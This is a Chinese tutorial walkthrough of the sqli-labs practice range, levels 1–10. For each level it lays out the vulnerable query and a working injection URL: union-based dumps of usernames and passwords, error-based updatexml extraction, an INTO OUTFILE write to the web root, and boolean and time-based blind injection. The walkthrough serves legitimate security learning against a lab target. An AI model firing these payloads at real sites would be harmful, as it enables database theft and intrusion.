注入环境搭建
1、修改数据库配置文件
2、检查并创建 security 数据库
注入靶场
第一关

-
注入类型判断 第 1 关是字符串型注入,后端 SQL 语句的写法为:
sqlSELECT * FROM users WHERE id='$id' LIMIT 0,1;这里
$id被单引号包裹,所以注入时需要先闭合单引号,再构造恶意语句。 -
核心利用方式 我们通过构造恶意的
id参数,让后端执行我们拼接的 SQL 语句,从而获取数据库中的敏感信息。 -
常用技巧:
- 用 ' 闭合原语句的单引号
- 用 union select联合查询来获取额外数据
- 用
--+注释掉后面的原始语句,避免语法错误
具体步骤:
1. 判断注入点与类型
-
构造测试 URL:
sqlhttp://192.168.0.107/sqlilabs/Less-1/?id=1' -
页面返回 SQL 语法错误,说明
id参数被单引号包裹,是字符串型注入。 -
闭合与注释:用 ' 闭合单引号,用 --+ 注释后续语句,确保语法正确。
2. 确定查询字段数
sql
http://192.168.0.107/sqlilabs/Less-2/?id=-1%20union%20select%201,database(),user()--+
-
使用
ORDER BY语句测试字段数:sqlhttp://192.168.0.107/sqlilabs/Less-1/?id=1' ORDER BY 3--+页面正常;测试
ORDER BY 4时页面报错,说明原查询结果有 3 个字段。
3. 爆当前数据库和用户
- 构造
UNION SELECT语句:
sql
http://192.168.0.107/sqlilabs/Less-1/?id=-1' UNION SELECT 1,database(),user()--+

4. 爆数据库中所有表名
-
从
information_schema.tables中读取表名:sqlhttp://192.168.0.107/sqlilabs/Less-1/?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+
5. 爆 users 表的所有字段
-
从
information_schema.columns中读取字段名:sqlhttp://192.168.0.107/sqlilabs/Less-1/?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--+
6. 爆 users 表中的账号密码
-
直接读取
users表的敏感数据:sqlhttp://192.168.0.107/sqlilabs/Less-1/?id=-1' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--+

第二关
SELECT * FROM users WHERE id=$id LIMIT 0,1;
这里 $id 直接作为数字传入,没有引号包裹,属于数字型注入。
📌 无需闭合引号:数字型注入不需要用 ' 闭合,直接拼接语句即可。
sql
http://192.168.0.107/sqlilabs/Less-2/?id=-1%20union%20select%201,database(),user()--+

第三关
sql="SELECT \* FROM users WHERE id=('id') LIMIT 0,1";
WHERE id=('1''),说明 id 被 (' 和 ') 包裹,属于带括号的字符串型注入。
双重闭合 :注入时需要用 ') 同时闭合单引号和括号,这是本关的核心。
sql
http://192.168.0.107/sqlilabs/Less-3/?id=-1%27)union%20select%201,database(),user()--+

第四关
id = '"' . id . '"';
sql="SELECT \* FROM users WHERE id=(id) LIMIT 0,1";
WHERE id=("1""),说明 id 被 (" 和 ") 包裹,属于双引号 + 括号.
📌:注入时必须用 ") 同时闭合双引号和括号,这是本关的核心。
sql
http://192.168.0.107/sqlilabs/Less-4/?id=-1%22)union%20select%201,database(),user()--+

第五关
SELECT * FROM users WHERE id='$id' LIMIT 0,1;
后端 SQL 语句写法(和第 1 关一致):
页面仅返回 You are in........... 或报错,不显示查询结果 ,无法用 UNION SELECT 直接读取数据
爆库名:
sql
http://192.168.0.107/sqlilabs/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+

📌:
- 核心函数 :本关依赖
updatexml()报错函数,通过报错信息泄露敏感数据,替代UNION SELECT。 - 闭合方式 :仍需用
'闭合单引号,再拼接报错语句,最后用--+注释。 - 分段读取 :
updatexml()报错信息长度有限,内容过长时用limit分段查询。 - 备选函数 :也可使用
extractvalue(1, concat(0x7e, 内容, 0x7e))替代updatexml(),原理完全一致。
第六关
id = '"'.id.'"';
sql="SELECT \* FROM users WHERE id=id LIMIT 0,1";
核心逻辑不变 报错函数的使用方式和第 5 关完全一致,仅需调整闭合符号:用 " 替代 ' 闭合原语句。
sql
http://192.168.0.107/sqlilabs/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+

第七关
sql="SELECT \* FROM users WHERE id=(('id')) LIMIT 0,1";
页面返回 You are in.... Out of injectio(无报错),说明闭合方式正确;若报错,检查闭合符号。
sql
http://192.168.0.107/sqlilabs/Less-7/?id=-1%27))%20UNION%20SELECT%201,database(),3%20INTO%20OUTFILE%20%27/var/www/html/db_name.txt%27--+
第八关
sql="SELECT \* FROM users WHERE id='id' LIMIT 0,1";
后端 SQL 语句写法(和第5关一致):
AND ASCII(SUBSTR(database(),1,1))=115
第九关
-
注入类型与页面特征后端 SQL 语句写法(和第 8关一致):
bashSELECT * FROM users WHERE id='$id' LIMIT 0,1;id被单引号包裹(字符串型)- 页面永远返回
You are in...........,无任何状态差异 - 核心利用:构造
AND/OR sleep(N)语句,若条件为真则数据库执行延时(页面响应慢 N 秒),条件为假则无延时
-
核心猜解逻辑 结合
IF()函数 +sleep()实现条件延时:bashAND IF(条件, sleep(5), 0)- 条件为真 → 执行
sleep(5)→ 页面响应≈5 秒 - 条件为假 → 执行
0→ 页面响应≈0 秒
- 条件为真 → 执行
bash
http://192.168.0.107/sqli-labs/Less-9/?id=1' AND IF(ASCII(SUBSTR(database(),1,1))=115,sleep(5),0)--+
第十关
📌
- 核心区别 :仅闭合符号不同(第 9 关用
',第 10 关用"),延时猜解逻辑完全一致。 - 测试顺序:先单引号、后双引号,快速定位包裹符号是时间盲注的第一步。
- 延时判定:响应时间≥设定值(如 5 秒)= 条件为真,需排除网络 / 服务器性能干扰。
- 自动化刚需:手动猜解一个数据库名需数小时,脚本可缩短至几分钟。
